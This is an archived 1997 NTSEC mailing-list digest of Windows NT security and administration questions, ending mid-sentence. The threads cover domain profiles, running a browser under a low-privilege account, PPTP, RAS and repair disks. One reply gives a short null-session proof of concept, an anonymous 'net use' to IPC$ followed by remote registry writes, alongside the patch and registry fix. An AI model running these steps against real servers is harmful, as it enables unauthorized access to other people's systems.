>but now from the domain and not the local machine, so a new user profile
>was created.
>
>The problem is that user can't change any desktop settings, for instance
>drive mappings can be made, but not permanent ones. A message pops
>up saying we are unable to save changes.
>
>What is going on???

Hi Rob,

If you put that user into the local Administrators group (not a great idea if
you are trying to stay tight on security), that should allow the user to
have full control
of items on their machine. Be careful here tho. If the local
administrators group is 
also a part of the domain admin group, you could be inadvertantly allowing
the user
control of your whole domain.

Gerry

Gerry Libertelli
Technical Director
SmartMoney Interactive
gerryl@smartmoney.com

We experimented with many permissions (but all from the domain):
Domain User, Domain Admin, Server Operator, but none had any effect.

> -----Original Message-----
> From: tfelts(contr-mis) [SMTP:tfelts@snap.org]
> Sent: Tuesday, June 24, 1997 7:34 AM
> To: 'Robert Barnes'
> Subject: RE: [NTSEC] Problem joining a Domain
> 
> What permissions does the account have that you are logging on with? 
> That is the key to this kind of thing....
> 
> Tom Felts
> Darpa Mission Control
> 
> ----------
> From: Robert Barnes[SMTP:rab@stallion.oz.au]
> Sent: Monday, June 23, 1997 5:05 PM
> To: 'ntsecurity@iss.net'
> Subject: [NTSEC] Problem joining a Domain
> 
> I was stuck with a very annoying problem last night!
> 
> A customer installed NT 4.0 WKS on a machine about 3 months
> ago, but did not join it to their domain, instead they used
> a workgroup with the same name as the domain.
> 
> They are now installing Exchange and so I come on the scene,
> asking them to join the machine into the domain so Exchange
> Client can use network security.
> 
> Firstly we could not swap directly from a workgroup to a domain
> with the same name, so we swapped to workgroup WORKGROUP first
> and then to the domain. Logged in as the same user name as always,
> but now from the domain and not the local machine, so a new user
> profile
> was created.
> 
> The problem is that user can't change any desktop settings, for
> instance
> drive mappings can be made, but not permanent ones. A message pops
> up saying we are unable to save changes.
> 
> What is going on???
> 
> Thanks
> Rob Barnes
> 
> --
> Robert Barnes E-mail : rab@stallion.oz.au
> Phone : +61 7 3270 4268 (direct) Fax : +61 7 3270 4245
> Stallion Technologies
> 33 Woodstock Rd, Toowong, QLD 4066, Australia
> See our Web site at http://www.stallion.com/
> PGP Key ID: 1A4F626D
> Key Fingerprint: 02 A6 22 5E 26 D3 7C 4D E2 91 9E 15 AC EA B1 58
> For Public Key send mail with "Subject: sendpgpkey"
> or search Public Key Servers
> --
> 


> -----Original Message-----
> From: tfelts(contr-mis) [SMTP:tfelts@snap.org]
> Sent: Tuesday, June 24, 1997 7:47 AM
> To: 'Robert Barnes'
> Subject: RE: [NTSEC] Problem joining a Domain
> 
> I mean locally, on the machine. Were you logging onto the machine as 
> a user, administrator, power user?????
> I don't know the answer to this question.
> 
> Were the domain administrative accounts added to the administrator 
> group on the local machine?
> No they definitely were not, as a matter of fact no domain
> accounts were deliberately added to any local group.
> 
> twf
> 
> ----------
> From: Robert Barnes[SMTP:rab@stallion.oz.au]
> Sent: Monday, June 23, 1997 5:40 PM
> To: tfelts(contr-mis)
> Cc: 'ntsecurity@iss.net'
> Subject: RE: [NTSEC] Problem joining a Domain
> 
> We experimented with many permissions (but all from the domain):
> Domain User, Domain Admin, Server Operator, but none had any effect.
> 
> > -----Original Message-----
> > From: tfelts(contr-mis) [SMTP:tfelts@snap.org]
> > Sent: Tuesday, June 24, 1997 7:34 AM
> > To: 'Robert Barnes'
> > Subject: RE: [NTSEC] Problem joining a Domain
> >
> > What permissions does the account have that you are logging on with?
> 
> > That is the key to this kind of thing....
> >
> > Tom Felts
> > Darpa Mission Control
> >
> > ----------
> > From: Robert Barnes[SMTP:rab@stallion.oz.au]
> > Sent: Monday, June 23, 1997 5:05 PM
> > To: 'ntsecurity@iss.net'
> > Subject: [NTSEC] Problem joining a Domain
> >
> > I was stuck with a very annoying problem last night!
> >
> > A customer installed NT 4.0 WKS on a machine about 3 months
> > ago, but did not join it to their domain, instead they used
> > a workgroup with the same name as the domain.
> >
> > They are now installing Exchange and so I come on the scene,
> > asking them to join the machine into the domain so Exchange
> > Client can use network security.
> >
> > Firstly we could not swap directly from a workgroup to a domain
> > with the same name, so we swapped to workgroup WORKGROUP first
> > and then to the domain. Logged in as the same user name as always,
> > but now from the domain and not the local machine, so a new user
> > profile
> > was created.
> >
> > The problem is that user can't change any desktop settings, for
> > instance
> > drive mappings can be made, but not permanent ones. A message pops
> > up saying we are unable to save changes.
> >
> > What is going on???
> >
> > Thanks
> > Rob Barnes
> >
> > --
> > Robert Barnes E-mail : 
> rab@stallion.oz.au
> > Phone : +61 7 3270 4268 (direct) Fax : +61 7 3270 4245
> > Stallion Technologies
> > 33 Woodstock Rd, Toowong, QLD 4066, Australia
> > See our Web site at http://www.stallion.com/
> > PGP Key ID: 1A4F626D
> > Key Fingerprint: 02 A6 22 5E 26 D3 7C 4D E2 91 9E 15 AC EA B1 
> 58
> > For Public Key send mail with "Subject: sendpgpkey"
> > or search Public Key Servers
> > --
> >
> 
su.exe works that way also, it is not limited to becoming admin. RTFM.

Dominique

At 08:54 PM 6/23/97 UT, James Strompolis wrote:
>su.exe raises the logged in user's privilege level to that of admin, they're 
>interested in making the browser appear to be logged in as a lesser user
while 
>actually logged in as an Administrator. The goal is to keep malicious 
>web-sites from glomming your admin password.
>
>----------
>From: owner-ntsecurity@iss.net on behalf of egb@austin.ibm.com
>Sent: Monday, June 23, 1997 1:35 PM
>To: jwood@af.pentagon.mil
>Cc: ntsecurity@iss.net
>Subject: Re: [NTSEC] Running browser as non-privlaged user
>
>
> Doesn't su.exe in the NT resource kit provide the same
> capabilities?
> \ntreskit\su.exe administrator cmd
> spawns a cmd.exe box with administrator as the ID (using the
> \ntreskit\whoami.exe
> utility).
> 
> Of course to be able to use su.exe one must already have
> extraordinary privileges (TCB, CREATE_PRIMARY_TOKEN). That
> means the "administrator" or "administrators group" goes
> around all the time with these privileges allowed and possibly
> enabled (which seems to me not a good thing.)
> 
> If you have found a way to avoid these things, then great.
>
> Ed
>
>
>According to Wood, Jeremy, SrA, SAF/AADXO:
>> 
>> Can I get a copy of the utility you wrote? I haven't seen anything else 
>> like it.
>> 
>> 
>> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>> Jeremy A Wood, SrA, USAF
>> Office of the Secretary
>> Directorate of Departmental Publishing
>> 
>> Email: jwood@af.pentagon.mil
>> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>> 
>> -----Original Message-----
>> From: Philip Boutros [SMTP:Philip_Boutros@inso.com]
>> Sent: Friday, June 20, 1997 4:33 PM
>> To: ntsecurity@iss.net
>> Subject: [NTSEC] Running browser as non-privlaged user
>> 
>> 
>> Hi
>> 
>> Over the last few days I have written a small Windows NT program (RUNAS.
>> EXE) that lets you execute any command line as a different user, even if
>> you are logged on as Administrator. I use it to run my browser as a user
>> with minimal access while the rest of my desktop acts as Administrator.
>> Have I reinvented the wheel? Is a program like this available elsewhere?
>> 
>> Phil Boutros
>> Senior Technology Architect
>> Inso Corporation
>> pboutros@inso.com
>> 
>> 
>> 
>> 
>> begin 600 WINMAIL.DAT
>> M>)\^(A\1`0:0" `$```````!``$``0>0!@`(````Y 0```````#H``$(@ <`
>> M& ```$E032Y-:6-R;W-O9G0@36%I;"Y.;W1E`#$(`0F `0`A````1#@T13> M0S%"0T5"1# Q,4%",C0P,$$P0SDU1$1$13(`9 > M`"\`%@`!`$0!`06 `P`.````S0<&`!<`!P`Z`"4``0!8`0$-@ 0``@````(`
>> M`@`!!( !`#(```!213H@6TY44T5#72!2=6YN:6YG(&)R;W=S97(@87,@;F]N
>> M+7!R:79L86=E9"!U> M``! `#D`<'J2R,Q_O $>`' ``0```#(```!213H@6TY44T5#72!2=6YN:6YG
>> M(&)R;W=S97(@87,@;F]N+7!R:79L86=E9"!U> M`;Q_S,@;P71.VNN\$="K) "@R5W=X@```P`&$%#&0Q,#``<0L (``!X`"! !
>> M````90```$-!3DE'151!0T]064]&5$A%551)3$E465E/55=23U1%/TE(059%
>> M3E13145.04Y95$A)3D=%3%-%3$E+14E42D5214U905=/3T0L4U)!+%53049/
>> M1D9)0T5/1E1(15-%0U)%5$$``````P`0$ `````#`!$0``````(!"1 !````
>> MKP,``*L#``!E!0``3%I&=9Z>(0@#``H`> M@F@*P'-E=# @!Q.'`H,`4 ^V<')Q,A"V9GT*@ C((#L);PXP-;,"@ J!=6,`
>> M4 L#8P!!10M@;@X0,#,S"Z8@(D,#D4D@9Q" (&$"( 6@<'D@;V8@0'1H92!U
>> M= ,0:4IT&!!Y"& @=P-@=*QE/Q=1$$!V"? G!4!G$' )\!>P;GD88 N 9Z@@
>> M96P0<" 8T&L8@-T8X"X*H@J$'&9^'4\=^"4<)$H$D&5M&!!!()17;P1P+ 8`
>> M> M&")$90JQ= > `C '0'@@4'4"8 0`&P(<*D5#`, #$#H@:G<@`4!0868N<"1R
>> M9P(@+GYM`Q <[RC_'"X+,!C0,_XV`4 5T % $@`9@2-0$410,38@+2S23P40
>> M9ZL+@"2A30>0> M> MY&\N!:!M71PE,: &8(<",#(',> M<"3 3;DU9U1O,@<",!!P8PAQ]QCP-, $$"XW8"PP-7> MO$-=!_ W4 ,`&R%B`V!6=Q!P! 9!B0/<'?+G\O
>> MBBLT"[8<.4@`H!PY7D\:$ 7 &&(+8',%0&;_!]$V\00@&=0941C@&9 :H:L:
>> M8 # ; ,@5PN 9#VA&0>P5" KT0G 86T@0"A254Y!4QP51?A812D842.0&Y 0
>> M@ 0@>1DB97@Z`2.A&L$7T6V_`X$^\!C0-V$^`1? 9 :0WT1P"7 ",#\#(#!E
>> M&A$;X/YF'"09(@K &X%'0#[2`B#Y/?)!9"? `P!$0".!!; >+A=1/Q$;X1A0
>> M;R!R_3=0(!^A/8D7P#\8`_ 88&]0@$[11B$7L&,A@ 01=_\RH1B &&()<$1!
>> M&#$?H0$`_'-K(V RX #023%.?T)5_T4R%V )< N &A$9D#[P&&+[4W )X&P9
>> ML4M"1R8;HQKQ_4M!=B91`:!3H1M26&$)<+X_'"HRDC+V'"0U\6D%L;I4!9!H
>> M/C!-T1^Q> M8T ``P" $/____\+``. "" &``````# ````````1@`````#A0````#__P,`
>> M!8 (( 8``````, ```````!&`````!"%`````````P``@ @@!@``````P ``
>> M`````$8`````4H4``+<-```>``& "" &``````# ````````1@````!4A0``
>> M`0````0````X+C ``P`"@ @@!@``````P ```````$8``````84````````+
>> M``2 "" &``````# ````````1@`````.A0````````,`!H (( 8``````, `
>> M``````!&`````!&%`````````P`(@ @@!@``````P ```````$8`````&(4`
>> M```````>``F "" &``````# ````````1@`````VA0```0````$`````````
>> M'@`*@ @@!@``````P ```````$8`````-X4```$````!`````````!X`"X (
>> M( 8``````, ```````!&`````#B%```!`````0`````````#`"8```````,`
>> M-@```````@'Y/P$````>`````````-RG0,C 0A :M+D(`"LOX8(!````````
>> M`"X````>`/@_`0```!4```!3>7-T96T@061M:6YI> M`0```!X`````````W*= R,!"$!JTN0@`*R_A@@$`````````+@```!X`^C\!
>> M````%0```%-Y> M"##8,M2 _7^\`0,`#33]/P```@$4- $````0````5)2AP"E_$!NEAP@`*RHE
>> M%QX`/0`!````!0```%)%.B `````"P`I```````+`",```````(!?P`!````
>> M30```#QC/553)6$]871T;6%I;"5P/6=O=BMD;7,K=')A;G,E;#U$35,O1$90
>> I14Y404=/3B\P,#!!,S,W1$!$1D1#,# T+DA1+D%&+DU)3#X`````,M0O
>> `
>> end
>> 
>
>
>-- 
>Ed Bradford
>NT Architecture M/S 9170
>Software Solutions Div. Integrated Solutions Architecture
>egb@austin.ibm.com 11400 Burnet Rd
>Phone: T/L 678-1421 Austin,Tx, 78758
>Real Phone 512-838-1421 FAX 512-838-2212
>
>
>
>
Dominique Brezinski
----------------------------------------------------
My opinions expressed here, and in any public forum, 
are my own and do not represent those of my employer 
or its clients. I am an individual, and I will 
retain those rights of free speech granted to me, 
regardless of my employment status. 
I have run into this problem. I have had to make the user "Administrator"
on the domain in order to allow them to change settings on their local
computer when they are logged in from the domain. (Even though the user
names are the same.)

I wish I knew another way around it.
>> > ----------
>> > From: Robert Barnes[SMTP:rab@stallion.oz.au]
>> > Sent: Monday, June 23, 1997 5:05 PM
>> > To: 'ntsecurity@iss.net'
>> > Subject: [NTSEC] Problem joining a Domain
>> >
>> > I was stuck with a very annoying problem last night!
>> >
>> > A customer installed NT 4.0 WKS on a machine about 3 months
>> > ago, but did not join it to their domain, instead they used
>> > a workgroup with the same name as the domain.
>> >
>> > They are now installing Exchange and so I come on the scene,
>> > asking them to join the machine into the domain so Exchange
>> > Client can use network security.
>> >
>> > Firstly we could not swap directly from a workgroup to a domain
>> > with the same name, so we swapped to workgroup WORKGROUP first
>> > and then to the domain. Logged in as the same user name as always,
>> > but now from the domain and not the local machine, so a new user
>> > profile
>> > was created.
>> >
>> > The problem is that user can't change any desktop settings, for
>> > instance
>> > drive mappings can be made, but not permanent ones. A message pops
>> > up saying we are unable to save changes.
>> >
>> > What is going on???
>> >
>> > Thanks
>> > Rob Barnes
>> >
>> > --
>> > Robert Barnes E-mail : 
>> rab@stallion.oz.au
>> > Phone : +61 7 3270 4268 (direct) Fax : +61 7 3270 4245
>> > Stallion Technologies
>> > 33 Woodstock Rd, Toowong, QLD 4066, Australia
>> > See our Web site at http://www.stallion.com/
>> > PGP Key ID: 1A4F626D
>> > Key Fingerprint: 02 A6 22 5E 26 D3 7C 4D E2 91 9E 15 AC EA B1 
>> 58
>> > For Public Key send mail with "Subject: sendpgpkey"
>> > or search Public Key Servers
>> > --
>> >
>> 
>
At 08:50 6/16/97 -0500, you wrote:
> I am new to the group, so I apologize if this question has come up. My 
>company works on the belief if it can't be replicated it isn't a problem. 
>Consequently, I am interested in testing the Anonymous Logon reported by 
>MS for 3.51 and 4.0. Does anyone have any detailed knowledge on how it 
>works to prove its threat?

Yes. If the NT machine is below SP3, and doesn't have the sec-fix applied,
do the following to an NT workstation:

net use \\server\ipc$ "" /user:""

now open regedt32, and open the registry of \\server

go to the software key, add a key named "NOW do you believe me???"

Close it all up, go to the machine, and check the owner of that key - it
will be anonymous. There is a lot more than this that can be done via a
null session.

To close up the hole:

1) apply SP3
2) insert a value called RestrictAnonymous (type REG_DWORD) = 1 in
HKLM\CurrentControlSet\Control\LSA
3) reboot

Look at it this way - if it wasn't a problem, MS wouldn't have made a hotfix
available.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 08:13 6/18/97 +0100, you wrote:
>Actually I'd like to find a utility that allows access based on the
>users rights within the domain. Has anyione come across something that
>will do this?

Sang Choe created a utility to do this - I don't have his web page handy -
check DejaNews or Alta Vista to look him up - he's a prolific USENET poster,
so he should be easy to find.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Hi,

I was wondering if anyone on this list knows of a list dedicated to Electronic
Commerce.

Thanks

Dave.
_______________________________________________________________________________
David Murray, Phone: +61 8 8303 3300
Product Manager, EC Fax: +61 8 8303 4403
Camtech Group Pty. Ltd. Email: dmurray@camtech.com.au

PO Box 128, 8th Floor,
Rundle Mall, Adelaide SA 5000, 10 Pulteney Street,
South Australia, Adelaide, South Australia,
Australia. Australia. 5000
______________________________________________________________________________


On Mon, 23 Jun 1997, Dominique Brezinski wrote:

> su.exe works that way also, it is not limited to becoming admin. RTFM.

Newbie question here... 

Does NT have the concept of SUID programs? IE, you can make a program run
as if it is being run by an arbitrary user? I know that this functionality
has lead to a lot of security issues in Unix, but it would be a lot more 
secure if it were restricted to non admin accounts. It would also give
a simple solution to these sorts of problems. Just make the web
browser be SUID some harmless user.

-
Mike Miller
mke@llnl.gov
speaking for myself

Q: If my network is attached to the Internet via a dialup, and my dialup 
does not disconnect if idle for any length of time, doesn't this pose a 
security problem.

Q: How can I create a "AT" script that will disconnect the dialed-up line 
at a specific time. This would prevent unauthorized users from attaching to 
my computer when I'm not there. I think that it's my responsibility to 
monitor the connection when I am there.

Any answers to the second question would be greatly appreciated. I have 
stopped most of the security holes and this is the only outstanding problem 
on my list to date. I have several @ scripts that stop all of the proxy 
services, auto-dial services and everything else that provides access to 
the internet. Just can't seem to get the modem to hang up if it's 
connected.

have you tried adding them to the local group power-user instead [of
their home machine]?

> -----Original Message-----
> From: Tim Dwayne Southard [SMTP:southard@gridnet.com]
> Sent: Monday, June 23, 1997 6:15 PM
> To: 'tfelts(contr-mis)'; 'Robert Barnes'
> Cc: 'ntsecurity@iss.net'
> Subject: RE: [NTSEC] Problem joining a Domain
> 
> I have run into this problem. I have had to make the user
> "Administrator"
> on the domain in order to allow them to change settings on their local
> computer when they are logged in from the domain. (Even though the
> user
> names are the same.)
> 
> I wish I knew another way around it.
> >> > ----------
> >> > From: Robert Barnes[SMTP:rab@stallion.oz.au]
> >> > Sent: Monday, June 23, 1997 5:05 PM
> >> > To: 'ntsecurity@iss.net'
> >> > Subject: [NTSEC] Problem joining a Domain
> >> >
> >> > I was stuck with a very annoying problem last night!
> >> >
> >> > A customer installed NT 4.0 WKS on a machine about 3 months
> >> > ago, but did not join it to their domain, instead they used
> >> > a workgroup with the same name as the domain.
> >> >
> >> > They are now installing Exchange and so I come on the scene,
> >> > asking them to join the machine into the domain so Exchange
> >> > Client can use network security.
> >> >
> >> > Firstly we could not swap directly from a workgroup to a domain
> >> > with the same name, so we swapped to workgroup WORKGROUP first
> >> > and then to the domain. Logged in as the same user name as
> always,
> >> > but now from the domain and not the local machine, so a new user
> >> > profile
> >> > was created.
> >> >
> >> > The problem is that user can't change any desktop settings, for
> >> > instance
> >> > drive mappings can be made, but not permanent ones. A message
> pops
> >> > up saying we are unable to save changes.
> >> >
> >> > What is going on???
> >> >
> >> > Thanks
> >> > Rob Barnes
> >> >
> >> > --
> >> > Robert Barnes E-mail : 
> >> rab@stallion.oz.au
> >> > Phone : +61 7 3270 4268 (direct) Fax : +61 7 3270
> 4245
> >> > Stallion Technologies
> >> > 33 Woodstock Rd, Toowong, QLD 4066, Australia
> >> > See our Web site at http://www.stallion.com/
> >> > PGP Key ID: 1A4F626D
> >> > Key Fingerprint: 02 A6 22 5E 26 D3 7C 4D E2 91 9E 15 AC EA
> B1 
> >> 58
> >> > For Public Key send mail with "Subject: sendpgpkey"
> >> > or search Public Key Servers
> >> > --
> >> >
> >> 
> >

 Since we are on the subject of PPTP, anyone know if PPTP will work
through a Farallon Netopia ISDN router using NAT and exported services?
Or whether it will work through a proxy server with port redirections??

--tim




On Sat, 21 Jun 1997, George Hulst wrote:

> Hello,
> 
> I want to provide remote access to the corporate network and use PPTP in
> order to create a secure communication path between the client and the
> corporate network.
> I know with PPTP this is possible when connection is made via the Internet,
> but is it possible to run PPTP without going tru the Internet ?
> Documentation (MS Technet etc.) does not give a clear answer. See diagram
> below.
> 
> NT client --modem------pstn/isdn------modem--NT/Server (RAS)----LAN
> | |
> |============ PPTP possible ? ===========|
> 
> Thanks 
> 
> George Hulst.
> -----------------------------------------------------------------------------
> G. Hulst
> 

I stand corrected.

----------
From: Dominique Brezinski
Sent: Monday, June 23, 1997 5:00 PM
To: James Strompolis
Cc: ntsecurity@iss.net
Subject: RE: [NTSEC] Running browser as non-privlaged user

su.exe works that way also, it is not limited to becoming admin. RTFM.

Dominique

At 08:54 PM 6/23/97 UT, James Strompolis wrote:
>su.exe raises the logged in user's privilege level to that of admin, they're 
>interested in making the browser appear to be logged in as a lesser user
while 
>actually logged in as an Administrator. The goal is to keep malicious 
>web-sites from glomming your admin password.
>
>----------
>From: owner-ntsecurity@iss.net on behalf of egb@austin.ibm.com
>Sent: Monday, June 23, 1997 1:35 PM
>To: jwood@af.pentagon.mil
>Cc: ntsecurity@iss.net
>Subject: Re: [NTSEC] Running browser as non-privlaged user
>
>
> Doesn't su.exe in the NT resource kit provide the same
> capabilities?
> \ntreskit\su.exe administrator cmd
> spawns a cmd.exe box with administrator as the ID (using the
> \ntreskit\whoami.exe
> utility).
> 
> Of course to be able to use su.exe one must already have
> extraordinary privileges (TCB, CREATE_PRIMARY_TOKEN). That
> means the "administrator" or "administrators group" goes
> around all the time with these privileges allowed and possibly
> enabled (which seems to me not a good thing.)
> 
> If you have found a way to avoid these things, then great.
>
> Ed
>
>
>According to Wood, Jeremy, SrA, SAF/AADXO:
>> 
>> Can I get a copy of the utility you wrote? I haven't seen anything else 
>> like it.
>> 
>> 
>> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>> Jeremy A Wood, SrA, USAF
>> Office of the Secretary
>> Directorate of Departmental Publishing
>> 
>> Email: jwood@af.pentagon.mil
>> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>> 
>> -----Original Message-----
>> From: Philip Boutros [SMTP:Philip_Boutros@inso.com]
>> Sent: Friday, June 20, 1997 4:33 PM
>> To: ntsecurity@iss.net
>> Subject: [NTSEC] Running browser as non-privlaged user
>> 
>> 
>> Hi
>> 
>> Over the last few days I have written a small Windows NT program (RUNAS.
>> EXE) that lets you execute any command line as a different user, even if
>> you are logged on as Administrator. I use it to run my browser as a user
>> with minimal access while the rest of my desktop acts as Administrator.
>> Have I reinvented the wheel? Is a program like this available elsewhere?
>> 
>> Phil Boutros
>> Senior Technology Architect
>> Inso Corporation
>> pboutros@inso.com
>> 
>> 
>> 
>> 
>> begin 600 WINMAIL.DAT
>> M>)\^(A\1`0:0" `$```````!``$``0>0!@`(````Y 0```````#H``$(@ <`
>> M& ```$E032Y-:6-R;W-O9G0@36%I;"Y.;W1E`#$(`0F `0`A````1#@T13> M0S%"0T5"1# Q,4%",C0P,$$P0SDU1$1$13(`9 > M`"\`%@`!`$0!`06 `P`.````S0<&`!<`!P`Z`"4``0!8`0$-@ 0``@````(`
>> M`@`!!( !`#(```!213H@6TY44T5#72!2=6YN:6YG(&)R;W=S97(@87,@;F]N
>> M+7!R:79L86=E9"!U> M``! `#D`<'J2R,Q_O $>`' ``0```#(```!213H@6TY44T5#72!2=6YN:6YG
>> M(&)R;W=S97(@87,@;F]N+7!R:79L86=E9"!U> M`;Q_S,@;P71.VNN\$="K) "@R5W=X@```P`&$%#&0Q,#``<0L (``!X`"! !
>> M````90```$-!3DE'151!0T]064]&5$A%551)3$E465E/55=23U1%/TE(059%
>> M3E13145.04Y95$A)3D=%3%-%3$E+14E42D5214U905=/3T0L4U)!+%53049/
>> M1D9)0T5/1E1(15-%0U)%5$$``````P`0$ `````#`!$0``````(!"1 !````
>> MKP,``*L#``!E!0``3%I&=9Z>(0@#``H`> M@F@*P'-E=# @!Q.'`H,`4 ^V<')Q,A"V9GT*@ C((#L);PXP-;,"@ J!=6,`
>> M4 L#8P!!10M@;@X0,#,S"Z8@(D,#D4D@9Q" (&$"( 6@<'D@;V8@0'1H92!U
>> M= ,0:4IT&!!Y"& @=P-@=*QE/Q=1$$!V"? G!4!G$' )\!>P;GD88 N 9Z@@
>> M96P0<" 8T&L8@-T8X"X*H@J$'&9^'4\=^"4<)$H$D&5M&!!!()17;P1P+ 8`
>> M> M&")$90JQ= > `C '0'@@4'4"8 0`&P(<*D5#`, #$#H@:G<@`4!0868N<"1R
>> M9P(@+GYM`Q <[RC_'"X+,!C0,_XV`4 5T % $@`9@2-0$410,38@+2S23P40
>> M9ZL+@"2A30>0> M> MY&\N!:!M71PE,: &8(<",#(',> M<"3 3;DU9U1O,@<",!!P8PAQ]QCP-, $$"XW8"PP-7> MO$-=!_ W4 ,`&R%B`V!6=Q!P! 9!B0/<'?+G\O
>> MBBLT"[8<.4@`H!PY7D\:$ 7 &&(+8',%0&;_!]$V\00@&=0941C@&9 :H:L:
>> M8 # ; ,@5PN 9#VA&0>P5" KT0G 86T@0"A254Y!4QP51?A812D842.0&Y 0
>> M@ 0@>1DB97@Z`2.A&L$7T6V_`X$^\!C0-V$^`1? 9 :0WT1P"7 ",#\#(#!E
>> M&A$;X/YF'"09(@K &X%'0#[2`B#Y/?)!9"? `P!$0".!!; >+A=1/Q$;X1A0
>> M;R!R_3=0(!^A/8D7P#\8`_ 88&]0@$[11B$7L&,A@ 01=_\RH1B &&()<$1!
>> M&#$?H0$`_'-K(V RX #023%.?T)5_T4R%V )< N &A$9D#[P&&+[4W )X&P9
>> ML4M"1R8;HQKQ_4M!=B91`:!3H1M26&$)<+X_'"HRDC+V'"0U\6D%L;I4!9!H
>> M/C!-T1^Q> M8T ``P" $/____\+``. "" &``````# ````````1@`````#A0````#__P,`
>> M!8 (( 8``````, ```````!&`````!"%`````````P``@ @@!@``````P ``
>> M`````$8`````4H4``+<-```>``& "" &``````# ````````1@````!4A0``
>> M`0````0````X+C ``P`"@ @@!@``````P ```````$8``````84````````+
>> M``2 "" &``````# ````````1@`````.A0````````,`!H (( 8``````, `
>> M``````!&`````!&%`````````P`(@ @@!@``````P ```````$8`````&(4`
>> M```````>``F "" &``````# ````````1@`````VA0```0````$`````````
>> M'@`*@ @@!@``````P ```````$8`````-X4```$````!`````````!X`"X (
>> M( 8``````, ```````!&`````#B%```!`````0`````````#`"8```````,`
>> M-@```````@'Y/P$````>`````````-RG0,C 0A :M+D(`"LOX8(!````````
>> M`"X````>`/@_`0```!4```!3>7-T96T@061M:6YI> M`0```!X`````````W*= R,!"$!JTN0@`*R_A@@$`````````+@```!X`^C\!
>> M````%0```%-Y> M"##8,M2 _7^\`0,`#33]/P```@$4- $````0````5)2AP"E_$!NEAP@`*RHE
>> M%QX`/0`!````!0```%)%.B `````"P`I```````+`",```````(!?P`!````
>> M30```#QC/553)6$]871T;6%I;"5P/6=O=BMD;7,K=')A;G,E;#U$35,O1$90
>> I14Y404=/3B\P,#!!,S,W1$!$1D1#,# T+DA1+D%&+DU)3#X`````,M0O
>> `
>> end
>> 
>
>
>-- 
>Ed Bradford
>NT Architecture M/S 9170
>Software Solutions Div. Integrated Solutions Architecture
>egb@austin.ibm.com 11400 Burnet Rd
>Phone: T/L 678-1421 Austin,Tx, 78758
>Real Phone 512-838-1421 FAX 512-838-2212
>
>
>
>
Dominique Brezinski
----------------------------------------------------
My opinions expressed here, and in any public forum, 
are my own and do not represent those of my employer 
or its clients. I am an individual, and I will 
retain those rights of free speech granted to me, 
regardless of my employment status. 


1. Yes!

2. Try RASDIAL.EXE from the NT Resource Kit - this works like a dream! I use it
for replication between our Intranet and Internet sites.

Warwick R.
Sydney, Australia

____________________Reply Separator____________________
Subject: [NTSEC] Force a RAS hangup
Author: Thomas J. Klinect
Date: 24/06/97 11:21

Q: If my network is attached to the Internet via a dialup, and my dialup 
does not disconnect if idle for any length of time, doesn't this pose a 
security problem.

Q: How can I create a "AT" script that will disconnect the dialed-up line 
at a specific time. This would prevent unauthorized users from attaching to 
my computer when I'm not there. I think that it's my responsibility to 
monitor the connection when I am there.

Any answers to the second question would be greatly appreciated. I have 
stopped most of the security holes and this is the only outstanding problem 
on my list to date. I have several @ scripts that stop all of the proxy 
services, auto-dial services and everything else that provides access to 
the internet. Just can't seem to get the modem to hang up if it's 
connected.



I have been told that if the hard drive has been formatted NTFS, an ERD is 
the only tool standing between a crashed machine, and loosing all data and 
reloading NT (I was told this crash would be caused by deleting or 
corrupting boot files, or other problems with booting caused by permissions 
being incorrectly set). 

Is this true?

Do I need an ERD for each and every server and workstation running NT?

Where does the ERD come from/how do I create it?

How often does this ERD need to be updated, and how do I do the updates?


Vedi Hartono wrote:

> Hi, are there somebody know a tcp listener quite similar to snoop on
> sun,
> or tcpdump on dec which running on NT, and this can also work closely
> like
> sniffer
>
> any comments appreciated
>
> vedi


If you have Microsoft SMS you can use Microsoft Network Monitor. A cut
down version comes with NT-Server. Installs when you install the
service.
--
Stephen Cooper 
Internet Engineer, Internet and Open Systems Group
AlphaWest, Level 10, QV1 Building, 250 St Georges Tce, Perth, WA 6000
Main: (+61 8) 94296000 Fax: (+61 8) 94296030


I know PPTP doesn't work through the Remote Winsock Proxy - I tried it.
It ignores the RWS indirection and dumps packets onto the local network
directly.

David Chalmers

>----------
>From: Timothy F. Lee[SMTP:timlee@cybertex.com]
>Sent: Monday, June 23, 1997 8:44 PM
>To: George Hulst
>Cc: ntsecurity@iss.net
>Subject: Re: [NTSEC] pptp non-Internet connections
>
>
> Since we are on the subject of PPTP, anyone know if PPTP will work
>through a Farallon Netopia ISDN router using NAT and exported services?
>Or whether it will work through a proxy server with port redirections??
>
>--tim
>
>
>
>
>On Sat, 21 Jun 1997, George Hulst wrote:
>
>> Hello,
>> 
>> I want to provide remote access to the corporate network and use PPTP in
>> order to create a secure communication path between the client and the
>> corporate network.
>> I know with PPTP this is possible when connection is made via the Internet,
>> but is it possible to run PPTP without going tru the Internet ?
>> Documentation (MS Technet etc.) does not give a clear answer. See diagram
>> below.
>> 
>> NT client --modem------pstn/isdn------modem--NT/Server (RAS)----LAN
>> | |
>> |============ PPTP possible ? ===========|
>> 
>> Thanks 
>> 
>> George Hulst.
>>
>>-----------------------------------------------------------------------
>>-----
>> G. Hulst
>> 
>
>
HI "Special Agent of Chaos"

What do u do if u have the Internet explorer 4.0 ?
So the "explorer.exe" starts as shell and with logged on user rights 
:-)
So u can't start the application with the "su.exe" and all 
subscribions (java applets) are running with logged on user rights !!! 
:-(

Any solusions ?

Regards,
Patrik Eigenheer

Cantrade Bank Ltd. Phone CH+ (0)1 295 2587
Morgartenstrasse 1 Office patrik.eigenheer@cantrade.ch
8000 Zurich Privat patrik.eigenheer@netlink.ch
Switzerland

-----Original Message-----
From: Swaim, Mike [SMTP:mpswaim@gdseng.com]
Sent: Montag, 23. Juni 1997 23:17
To: 'ntsecurity@iss.net'
Subject: RE: [NTSEC] Running browser as non-privlaged user

 While a goal may be to keep sites from grabbing your password,
something that's more important
